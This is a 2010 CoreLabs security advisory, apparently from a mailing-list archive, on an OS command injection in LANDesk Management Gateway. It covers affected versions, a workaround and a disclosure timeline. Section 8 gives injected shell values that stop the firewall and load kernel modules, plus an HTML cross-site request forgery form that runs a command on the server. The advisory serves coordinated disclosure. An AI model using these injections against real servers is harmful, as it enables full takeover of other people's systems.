bugtraq - CORE-2010-1018 - Landesk OS command injection

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Message-ID: <4CDB2ACF.10903@coresecurity.com>
Date: Wed, 10 Nov 2010 20:29:19 -0300
From: CORE Security Technologies Advisories <advisories@...esecurity.com>
To: full-disclosure <full-disclosure@...ts.grok.org.uk>,
	bugtraq <bugtraq@...urityfocus.com>
Subject: CORE-2010-1018 - Landesk OS command injection

      Core Security Technologies - CoreLabs Advisory
                 http://corelabs.coresecurity.com/

                 Landesk OS command injection


1. *Advisory Information*

Title: Landesk OS command injection
Advisory Id: CORE-2010-1018
Advisory URL:
[http://www.coresecurity.com/content/landesk-os-command-injection-vulnerability]
Date published: 2010-11-10
Date of last update: 2010-11-10
Vendors contacted: LANDesk
Release mode: Coordinated release


2. *Vulnerability Information*

Class: OS command injection [CWE-78]
Impact: Code execution
Remotely Exploitable: Yes (client-side)
Locally Exploitable: No
CVE Name: CVE-2010-2892
Bugtraq ID: N/A


3. *Vulnerability Description*

The LANDesk division of Avocent Corporation [1] provides systems
management, security management, service desk, asset management, and
process management solutions to organizations. The company's software is
used worldwide.

A security vulnerability was discovered in LANDesk Management Suite: The
Landesk web application does not sufficiently verify if a well-formed
request was provided by the user who submitted the request. Using this
information an external remote attacker can run arbitrary code using the
'gsbadmin' user (that is the user running the web-server).

In order to be able to successfully make the attack, the administrator
must be logged in to the appliance with the browser that the attacker
uses to make the attack (for instance, exploiting a XSS in a different
tab in the browser).


4. *Vulnerable packages*

   . LANDesk Management Gateway 4.0 GSBWEB v1.61s
   . LANDesk Management Gateway 4.2 GSBWEB v1.61
   . Older versions are probably affected too


5. *Non-vulnerable packages*

   . LANDesk Management Gateway 4.0 GSBWEB v1.62
   . LANDesk Management Gateway 4.2 GSBWEB v1.62


6. *Vendor Information, Solutions and Workarounds*

Workaround for non-patched versions:

   1. Launch a SSH console session, or log onto the LDMG console and
start a terminal session.
   2. Issue the following command: 'mv
/usr/LANDesk/broker/webroot/gsb/drivers.php ~'

For additional information about this issue, check the LANDesk public
announcement [http://community.landesk.com/support/docs/DOC-21767].


7. *Credits*

This vulnerability was discovered and researched by Aureliano Calvo
[http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=researcher&name=Aureliano_Calvo]
from Core Security Technologies.


8. *Technical Description / Proof of Concept Code*

The Landesk web application does not sufficiently verify if a
well-formed request was provided by the user who submitted the request.

Using this information an external remote attacker can run arbitrary
code using the 'gsbadmin' user (that is the user running the
web-server), but the 'gsbadmin' user has sudo privileges. Looking at
'/etc/sudoers', you can see that the attacker can also take down the
firewall (injecting: '; sudo /subin/firewall stop' into 'DRIVES') and
load arbitrary kernel modules (injecting '; sudo /subin/modprobe
/tmp/a_module'), effectively taking complete control of the server.

In order to be able to successfully make the attack, the administrator
must be logged in to the appliance with the browser that the attacker
uses to make the attack (for instance, exploiting a XSS in a different
tab in the browser).


8.1. *Proof of Concept*

This PoC is an HTML form (that can be hosted on any web site) that makes
a request to the '[server]'. The parameter 'DRIVES' contains the actual
injection. In the example, we generate the file '/tmp/ATTACKED' to show
that arbitrary shell commands can be executed in the server.

/-----
<head><title>LANDesk PoC</title></head>
  <body>
    <form method="post" action="https://[server]/gsb/drivers.php">
      <input type="text" name="DRIVES" value="; touch /tmp/ATTACKED">
      <input type="text" name="SECONDTIME" value="1">
      <input type="text" name="ACTION" value="getupdate">
      <input type="submit" value="Attack!">
    </form>
  </body>
</html>
-----/


9. *Report Timeline*

. 2010-10-18:
Core Security Technologies notifies the LANDesk team of the
vulnerability, setting the estimated publication date of the advisory to
November 9th 2010.

. 2010-10-19:
The LANDesk team acknowledges Core Security Technologies' e-mail and
asks for a technical description of the vulnerability.

. 2010-10-19:
Core sends an advisory draft.

. 2010-10-21:
The LANDesk team notifies they are reviewing the issue and will contact
Core in few days.

. 2010-10-22:
The LANDesk team notifies they have verified the vulnerability and have
identified the cause. LANDesk is working on a possible fix and will send
an update once the testing of this fix is completed.

. 2010-11-02:
Core acknowledges LANDesk's e-mail.

. 2010-11-08:
LANDesk team notifies that they are testing a patch, and they will
probably ready to release a fixed version tomorrow, Tuesday 9th.

. 2010-11-08:
Core acknowledges LANDesk's e-mail and asks the version numbers of both
patched and vulnerable versions.

. 2010-11-08:
LANDesk team notifies the version numbers of the affected and patched
versions, and also sends the workaround mentioned in the [Sec. 6].

. 2010-11-08:
LANDesk team requests to postpone the advisory publication for 24hs
given that they are unable to be ready by that time.

. 2010-11-09:
Core re-schedules the advisory publication to November 10th.

. 2010-11-10:
The advisory CORE-2010-1018 is published.


10. *References*

[1] LANDesk website [http://www.landesk.com/].


11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
[http://corelabs.coresecurity.com].


12. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
[http://www.coresecurity.com].


13. *Disclaimer*

The contents of this advisory are copyright (c) 2010 Core Security
Technologies and (c) 2010 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: [http://creativecommons.org/licenses/by-nc-sa/3.0/us/]


14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
[http://www.coresecurity.com/files/attachments/core_security_advisories.asc].




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